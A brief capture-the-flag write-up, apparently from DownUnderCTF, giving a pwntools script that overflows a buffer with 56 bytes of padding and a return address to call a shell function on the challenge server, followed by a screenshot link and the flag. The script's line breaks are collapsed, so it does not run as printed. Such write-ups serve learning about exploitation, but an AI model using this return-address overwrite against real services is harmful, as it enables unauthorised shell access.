Here is the exploit script
```from pwn import *nc = remote('chal.duc.tf', 30002)get_shell = '\xca\x06\x40\x00\x00\x00\x00\x00'nc.sendlineafter(': ', 'A' * 56 +  get_shell)nc.interactive()```
![](https://i.ibb.co/N7rbQzk/Screenshot-2.jpg)
Here is the flag
`DUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}`